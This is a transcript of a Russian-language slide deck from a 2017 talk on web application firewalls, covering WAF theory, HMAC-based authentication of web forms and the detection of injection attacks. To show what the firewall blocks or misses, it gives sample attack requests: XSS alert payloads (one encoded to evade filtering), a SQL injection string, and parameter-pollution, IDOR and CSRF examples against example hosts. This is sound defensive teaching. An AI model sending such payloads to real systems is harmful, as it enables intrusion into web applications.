Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Кто сказал WAF?

Кто сказал WAF?

Доклад Дениса Колегова (Positive Technologies), посвященный методам защиты веб-приложений, применяемым в межсетевых экранах, на PDUG Meetup: J'adore Hardcore.

695d44581c32d62f5393163739a66846?s=128

Positive Development User Group

September 25, 2017
Tweet

More Decks by Positive Development User Group

Other Decks in Programming

Transcript

  1. Заголовок ptsecurity.com Кто сказал «WAF»? Руководитель группы исследований технологий защиты

    Positive Technologies Денис Колегов
  2. Заголовок ptsecurity.com Практические методы защиты веб-приложений

  3. Заголовок • Руководитель группы исследований технологий защиты • Доцент, к.

    т. н., доцент кафедры защиты информации и криптографии ТГУ • https://twitter.com/dnkolegov, dkolegov@ptsecurity.com # whoami
  4. Заголовок 1. Введение 2. Теория WAF 3. Аутентификация веб-форм 4.

    Обнаружение инъекций 5. Виртуальный патчинг План
  5. Заголовок Введение

  6. Заголовок Веб-приложение – клиент-серверное приложение, в котором клиентом является веб-браузер,

    сервером – веб-сервер, а протоколом взаимодействия между ними – веб-протокол Базовый состав • Веб-браузер • Веб-сервер / Сервер приложений • СУБД Определение
  7. Заголовок Как работает веб-приложение GET / HTTP/1.1 Host: www.example.com Connection:

    close HTTP/1.1 200 OK Server: nginx Content-Type: text/html Content-Length: 51 Date: Mon, 29 Aug 2016 10:36:58 GMT Connection: close <!DOCTYPE html> <html> <body> <h1>Hello, World!</h1> </body> </html>
  8. Заголовок Как работает веб-приложение GET /account/gtmData?include_events=1 HTTP/1.1 Host: www.example.com User-Agent:

    Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Cookie: it_csrf=1CCD0EE612B14C870DDBAA495D270606; _msuuid_i0w6e1n8s0=8B6C8DE7-C4D2-4B23-9DEF; Connection: close HTTP/1.1 200 OK Server: nginx Content-Type: application/json Content-Length: 51 Vary: Accept-Encoding Date: Mon, 29 Aug 2016 10:36:58 GMT Connection: close {"text":"Hello, World!","isMobile":false,"user":null}
  9. Заголовок Огромное количество технологий и их реализаций Простота использования Доступность

    и распространенность Низкий порог входа • Для разработчиков • Для пентестеров / баг-хантеров • Для злоумышленников Особенности
  10. Заголовок В 1990-х годах активно используется принцип внешнего монитора безопасности

    Текущий подход: разрабатывать приложения защищенными, а не полагаться на внешние механизмы защиты Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при этом с ума Как правильно защищать приложения
  11. Заголовок Необходимо построить многоуровневую защиту В принципе невозможно устранить уязвимость

    в самом приложении • Legacy • Third-party Необходимый механизм защиты отсутствует или сложно реализуем • Защита от подбора паролей • Управление доступом • Защита от нежелательной автоматизации Необходимо немедленно устранить обнаруженную уязвимость до ее реального устранения в исходном коде А что если …?
  12. Заголовок Теория WAF

  13. Заголовок • An appliance, server plugin, or filter that applies

    a set of rules to an HTTP conversation • A security solution on the web application level which does not depend on the application itself • A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components Что такое WAF? Web Application Firewall Evaluation Criteria
  14. Заголовок Классический WAF

  15. Заголовок Обнаружение (detection) атак • Первичная валидация данных (методы, длина

    запроса, длина и число заголовков, …) • Обнаружение инъекций • Поиск параметров веб-приложения Ослабление (mitigation) атак, от которых трудно защититься • Проверка на соответствие RFC • Аутентификация сообщений • Шифрование (URL, скрытых полей) • Маскирование • Блокирование IP, пользователя, завершение сессии Предотвращение (preventive) – предотвращение использования обнаруженных уязвимостей • Виртуальный патчинг Компоненты
  16. Заголовок WAF рассматривается как распознаватель (recognizer) атак на веб-приложения Языки

    ввода приложения не определены • Язык моря определен неточно (HTTP) • Островные языки (значения параметров) не определены вообще Язык ввода приложения должен быть регулярным или детерминированным контекстно-свободным WAF и LangSec
  17. Заголовок Пределы защиты Грамматика Распознаватель Типа 0 Машина Тьюринга Контекстно-зависимая

    Линейно-ограниченный автомат Недетерминированная контекстно-свободная Недетерминированный автомат с магазинной памятью Детерминированная контекстно-свободная Недетерминированный автомат с магазинной памятью Регулярная Конечный автомат LangSec: Language-theoretic security
  18. Заголовок Ввод приложения (application input) рассматривается как язык Параметры •

    Известные – реальные параметры приложения • Неизвестные – приложение «не знает» о таких параметрах • Доверенные – значения параметров устанавливается доверенными субъектами • Недоверенные – значения параметров контролируются недоверенными субъектами Общий подход
  19. Заголовок Известные доверенные параметры – язык определен доверенной стороной, значения

    генерируются на стороне сервера и не меняются Известные недоверенные параметры – генерируются на стороне клиента, но их язык может быть описан Неизвестные параметры – не могут быть описаны, например, генерируются на стороне клиента с произвольными именами и значениями Источники данных о параметрах • HTTP-ответы • Приложение (SAST, DAST) • Конфигурация Общий подход
  20. Заголовок Обеспечение аутентичности доверенных известных параметров (констант приложения) Валидация недоверенных

    известных параметров в разрешимых, как правило, регулярных языках, задаваемых в конфигурации Распознавание неизвестных параметров в языках атак или аномалий Общий подход
  21. Заголовок Теория • Теория формальных языков Практика • Множество технологий

    • Модель черного ящика • Отсутствие стандартов • Развитие клиентской части веб-приложений Источники ограничений
  22. Заголовок Мощность распознавателя: можно распознать эквивалентный или менее мощный язык

    Недостаточное (неэффективное) распознавание (insufficient recognition) – распознавание КС-языка с помощью конечного автомата (регулярного выражения) Различие парсеров (Parser differentials) – один и тот же ввод распознается парсерами по-разному Теория формальных языков M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A Taxonomy of LangSec Errors and How to Expunge Them
  23. Заголовок • HTTP (0.9, 1.0, 1.1, 1.2), WebSockets • SSL

    (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP • Load Balancers: F5 BIG-IP, Citrix NetScaler, … • Web-servers: Apache, Nginx, IIS, GWS, … • Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, … • SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, … • noSQL «Databases»: MongoDB, ElasticSearch, Redis, … • Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, … • JavaScript libraries: jQuery, lodash, … • JavaScript Frameworks: Angular, React, Ext.js, Ember.js, … • HTML, CSS, XML/SOAP, JSON Множество технологий
  24. Заголовок Веб-приложение для WAF – это просто последовательность запросов и

    / или ответов Непонимание контекста Непонимание логики взаимодействия • Боты • Взлом аккаунта • Злоупотребления (abuse / misuse) Модель черного ящика
  25. Заголовок Отсутствие стандартов GET /output.app?par1=1&par1=2&par1=3 HTTP/1.1 Host: www.example.com Connection: close

    HTTP/1.1 200 OK Server: nginx Content-Type: text/html Content-Length: 51 Date: Mon, 29 Aug 2016 10:36:58 GMT Connection: close ? //output.app function output(http){ return http.getParamValueByName("par1"); }
  26. Заголовок Минута из жизни WAF

  27. Заголовок Минута из жизни WAF CATS /app?pageId=1 HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  28. Заголовок Модель черного ящика CATS /app?pageId=1 HTTP/1.1 Host: example.com Connection:

    close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  29. Заголовок Минута из жизни WAF GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  30. Заголовок Минута из жизни WAF GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  31. Заголовок Минута из жизни WAF GET /app?pageId=1 HTTP/1.1 Connection: close

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  32. Заголовок Минута из жизни WAF GET /app?pageId=1 HTTP/1.1 Connection: close

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  33. Заголовок Минута из жизни WAF GET /app?pageId=<script>alert(1)</script> HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  34. Заголовок Минута из жизни WAF GET /app?pageId=<script>alert(1)</script> HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 403 Forbidden Server: waf.example.com Content-Type: text/html; charset=utf-8 Content-Length: 9 Connection: close Forbidden
  35. Заголовок Минута из жизни WAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  36. Заголовок Минута из жизни WAF function getID(request) { var rawID

    = request.getValue('id'); var id = hexdecode(base64decode(rawID)); return id; } // rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d // id = <script>alert(1)</script>
  37. Заголовок Минута из жизни WAF function getID(request) { var rawID

    = request.getValue('id'); var id = hexdecode(base64decode(rawID)); return id; } // rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d // id = <script>alert(1)</script>
  38. Заголовок Минута из жизни WAF GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close <script>alert(1)</script>
  39. Заголовок Минута из жизни WAF GET /app?pageId=a HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close a({"c":"user@goodmail.com"})
  40. Заголовок Минута из жизни WAF GET /app?pageId=a HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close a({"c":"user@goodmail.com"})
  41. Заголовок Минута из жизни WAF GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  42. Заголовок Минута из жизни WAF GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  43. Заголовок Минута из жизни WAF POST /app?page=1 HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 page=<script>alert(1)</script>
  44. Заголовок Минута из жизни WAF POST /app?page=1 HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 page=<script>alert(1)</script>
  45. Заголовок Минута из жизни WAF POST /download?document_id=1123123&user_id=234123423 HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  46. Заголовок Минута из жизни WAF POST /download?document_id=1123123&user_id=234123423 HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  47. Заголовок Минута из жизни WAF GET /delete_account HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close
  48. Заголовок Минута из жизни WAF GET /delete_account HTTP/1.1 Host: example.com

    Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close
  49. Заголовок Аутентификация веб-форм

  50. Заголовок Протокол HTTP не имеет встроенных механизмов аутентификации сообщений Аутентификация

    HTTP-сообщений • Аутентичность источника запроса (origin authentication) • Целостность имен и значений параметров OWASP TOP 10 2013 • A4 – Insecure Direct Object Reference • A7 – Missing Function Level Access Control • A8 – Cross-Site Request Forgery (CSRF) Назначение • Защита приложения от анализа • Уменьшение поверхности атак на приложение • Противодействие средствам автоматизации • Предотвращение использования эксплойтов Аутентификация сообщений HTTP
  51. Заголовок Пример

  52. Заголовок В чем проблема? <html> <body> <form action="update" method="POST"> <input

    type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded price=100&role=user&quantity=1&email=user@myshop.com
  53. Заголовок «Подписи запросов» API • Yahoo, Amazon S3, Facebook WAF

    • ModSecurity: HMAC Token Protection • F5 Networks ASM: Dynamic Content Value • Citrix NetScaler: Form signature ASP.NET Framework • Event Validation • View State MAC Механизм защиты
  54. Заголовок В англоязычной литературе данный механизм защиты часто называют •

    Form Signature • Form Signing • Request Signing Терминологически это неверно: подпись подразумевает, что любой желающий может проверить истинность подписи, а в данном случае такая проверка доступна только для владельца секретного ключа Корректный термин – аутентификация сообщения, формы или запроса, механизм аутентификации сообщений – MAC Как правильно?
  55. Заголовок Client ← Server: p, h(k, p) Client → Server:

    p', h(k, p) Server: h(k, p) = h(k, p') Параметры: • h – функция HMAC • p – значение параметра • k – секретный ключ сервера Элементарный протокол
  56. Заголовок Элементарный протокол <html> <body> <form action="update" method="POST"> <input type="text"

    name="p" value="100"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded price=100
  57. Заголовок Содержание в формах большого количества полей Различное представление форм

    для различных клиентов Наличие в формах опциональных элементов • Checkbox • Option • Radio Идентификация защищаемых форм в HTTP-ответах Идентификация скрытых элементов форм в HTTP-запросах Ввод данных на стороне клиента Сложности на практике
  58. Заголовок Различное представление форм <form id="authform" action="https://auth.mail.ru/cgi-bin/auth?rand=584774" method="post"> </form> <form

    id="authform" action="https://auth.mail.ru/cgi-bin/auth?from=splash" method="post"> </form> <form id="authform" action="https://auth.mail.ru/cgi-bin/auth" method="post"> </form> POST /cgi-bin/auth?rand=584774 HTTP/1.1 Host: auth.mail.ru Content-Type: application/x-www-form-urlencoded login=user&password=user123456
  59. Заголовок Опциональные элементы <form action="/demo/" method="post"> <select name="cars"> <option value="volvo">Volvo

    XC90</option> <option value="saab">Saab 95</option> <option value="mercedes">Mercedes SLK</option> <option value="audi">Audi TT</option> </select> <input type="submit" value="Submit"> </form> POST /demo HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded cars=volvo
  60. Заголовок Опциональные элементы <html> <body> <form action="/demo/" method="post"> <input type="checkbox"

    name="vehicle" value="Bike"> I have a bike<br> <input type="checkbox" name="vehicle" value="Car" checked> I have a car<br> <input type="submit" value="Submit"> </form> </html> </body> POST /demo/ HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded vehicle=Bike&vehicle=Car
  61. Заголовок Опциональные элементы <html> <body> <form action="/demo/" method="post"> <input type="radio"

    name="gender" value="male">Male<br> <input type="radio" name="gender" value="female">Female<br> </form> </body> </html> POST /demo/ HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded gender=male
  62. Заголовок Скрытые элементы <html> <body> <form action="update" method="POST"> <input type="hidden"

    name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded price=100&role=user&quantity=1&email=user@myshop.com
  63. Заголовок Client ← Server: p, h(k, p) Client → Server:

    p', h(k, p) Server: h(k, p) = h(k, p') Как использовать этот протокол если значение p формируется в браузере на основе ввода пользователя? Ввод данных на стороне клиента
  64. Заголовок Client ← Server: p, h(k, Tr(p, regex)) Client →

    Server: p', h(k, Tr(p, regex)) Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex)) Параметры: • regex – валидирующее регулярное выражение для значения параметра • Tr(s, regex) – операция удаления из строки s подстрок, соответствующих regex • Tr("abc123", "[a-z]+" ) = "123" Валидирующее хэширование key string regex R HMAC of L(R)
  65. Заголовок 1. Построение Authentication Base String (ABS) • Method •

    URL • Идентификатор сессии • Параметры • Имя • [Значение] • [Тип] Метод вычисления токена
  66. Заголовок 2. Построение контейнеров формы • Контейнер скрытых полей -

    HFC HFC = {hp1_name, …, hpM_name} • Контейнер опциональных полей - OFC OFC = { {op1_name, op1_value1, …, op1_valueN1}, …, {opL_name, opL_value1, …, opL_valueNL} } Метод вычисления токена
  67. Заголовок 3. Вычисление подписи • signature = HMAC(k, HFC ·

    OFC · HMAC(k, ABS, time)) • k – секретный ключ • time – текущее значение времени Метод вычисления токена
  68. Заголовок 1. Парсинг входящего HTTP-запроса 2. Проверка метода запроса 3.

    Проверка наличия токена 4. Для POST-запроса по полученному URL выполняется поиск политики 5. Если политика найдена, то распаковываются данные из токена 6. Проверка опциональных и скрытых полей, если они есть 7. Формирование ABS и его проверка Метод проверки токена
  69. Заголовок • Нельзя защитить формы, динамически сгенерированные на стороне клиента

    средствами JavaScript • Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX • Нельзя защитить формы, отправляемые на сервер методом GET Ограничения
  70. Заголовок Пример: исходная форма <html> <body> <form action="update" method="POST"> <input

    type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> </form> </body> </html>
  71. Заголовок Пример: описание языка <html> <body> <form action="update" method="POST"> <input

    type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> </form> </body> </html> Regular language: \d\d*
  72. Заголовок Пример: генерация токена ABS = base64("#POST#/update#price:100:&role:user:&quantity::#") HFC = "#price#role"

    signature = HMAC(k, HFC · HMAC(k, ABS, time)) token = base64(HFC · signature · time)
  73. Заголовок Пример: новая форма <html> <body> <form action="update" method="POST"> <input

    type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> <input type="hidden" name="token" value="2341234123…"> </form> </body> </html>
  74. Заголовок Пример: аутентичный запрос POST /update HTTP/1.1 Host: server.com Content-Type:

    application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
  75. Заголовок Пример: манипуляция с URL POST /create HTTP/1.1 Host: server.com

    Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&=&token=2341234123…
  76. Заголовок Пример: атака CSRF POST /delete HTTP/1.1 Host: server.com Content-Type:

    application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&token=
  77. Заголовок Пример: атака повтора POST /admin/delete_account HTTP/1.1 Host: server.com Content-Type:

    application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=43538475283745823748572345374527345 user=100001&token=2341234123…
  78. Заголовок Пример: атака на бизнес-логику POST /update HTTP/1.1 Host: server.com

    Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
  79. Заголовок Пример: атака HPP POST /update HTTP/1.1 Host: server.com Content-Type:

    application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&price=-100&token=2341234123…
  80. Заголовок Пример: атака IDOR POST /update HTTP/1.1 Host: server.com Content-Type:

    application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
  81. Заголовок Пример: атака SQL Injection POST /update HTTP/1.1 Host: server.com

    Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2' OR '1'='1&role=user&token=2341234123…
  82. Заголовок Пример: атака XSS POST /update HTTP/1.1 Host: server.com Content-Type:

    application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
  83. Заголовок Обнаружение инъекций

  84. Заголовок Normalization Negative security model (Blacklisting) • Signature-based (regular expressions,

    text) • Syntax-based • Rule-based Positive security model (Whitelisting) • Rule-based • Static Profiling • Dynamic Profiling • Machine learning Механика обнаружения атак Web Application Firewall Evaluation Criteria
  85. Заголовок Основной признак инъекции

  86. Заголовок Алгоритм формирования выходных данных DOUTPUT на основе входных данных

    DINPUT уязвим к атаке инъекции, если от содержимого DINPUT зависит структура дерева разбора (parse tree) для DOUTPUT Признак уязвимости к инъекции
  87. Заголовок Пример http://example.com/foo.html#1 http://example.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo

    = "+ input +"; </scr"+"ipt>"); <script> var foo = 1;alert(1); <script> <script> var foo = 1; <script>
  88. Заголовок Пример var foo = 1; var foo = 1;

